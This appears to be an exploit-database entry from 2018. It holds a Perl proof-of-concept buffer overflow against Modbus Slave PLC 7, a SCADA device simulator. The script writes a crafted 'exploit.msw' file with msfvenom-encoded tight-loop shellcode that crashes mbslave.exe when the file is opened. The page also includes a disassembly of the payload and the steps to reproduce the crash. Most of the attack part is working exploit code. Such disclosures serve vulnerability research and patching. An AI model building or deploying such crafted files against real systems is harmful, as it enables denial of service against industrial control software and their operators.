Modbus Slave PLC 7 - '.msw' Buffer Overflow (PoC)



EKU-ID: 8090 CVE: OSVDB-ID:
Author: Kağan Çapar Published: 2018-10-30 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Exploit Title: Modbus Slave PLC 7 - '.msw' Buffer Overflow (PoC)
# Author: Kağan Çapar
# Discovery Date: 2018-10-27
# Software Link: https://www.modbustools.com/download/ModbusSlaveSetup32Bit.exe
# Vendor Homepage : https://www.modbustools.com
# Tested Version: 7
# Tested on OS: Windows XP SP3 *ENG
# other version should be affected
# About software : Modbus Slave is for simulating up to 32 slave devices in 32 windows!.
# Speed up your PLC programming with this simulating tools.  Used for SCADA systems.
# Modbus is a serial communications protocol originally published by Schneider Electric
# Steps to Reproduce: Run the perl exploit script, it will create a new
# file with the name "exploit.msw" and Drag on to "mbslave.exe"
# you will see a loop and crash on software
# Greetz : cwd-onkan-badko-key-akkus
 
# ! /usr/bin/perl
 
# Dump of assembler code for function loop:
# 0x0000555555558030 <+0>:    mov    $0x1e3b563c,%ebx
# 0x0000555555558035 <+5>:    fld    %st(4)
# 0x0000555555558037 <+7>:    fnstenv -0xc(%rsp)
# 0x000055555555803b <+11>:   pop    %rax
# 0x000055555555803c <+12>:   sub    %ecx,%ecx
# 0x000055555555803e <+14>:   mov    $0x1,%cl
# 0x0000555555558040 <+16>:   xor    %ebx,0x14(%rax)
# 0x0000555555558043 <+19>:   add    $0x4,%eax
# 0x0000555555558046 <+22>:   add    0x10(%rax),%ebx
# 0x0000555555558049 <+25>:   fisubs 0xe0d0(%rbx)
 
# msfvenom -p generic/tight_loop --platform windows_86 -f perl -e x86/shikata_ga_nai
# print /x &loop
# $1 = 0x555555558030
 
open(code, ">exploit.msw");
binmode(code);
$loop =
"\xbb\x3c\x56\x3b\x1e\xd9\xc4\xd9\x74\x24\xf4\x58\x2b\xc9" .
"\xb1\x01\x31\x58\x14\x83\xc0\x04\x03\x58\x10\xde\xa3\xd0" .
"\xe0";
 
print code $loop;
close(code);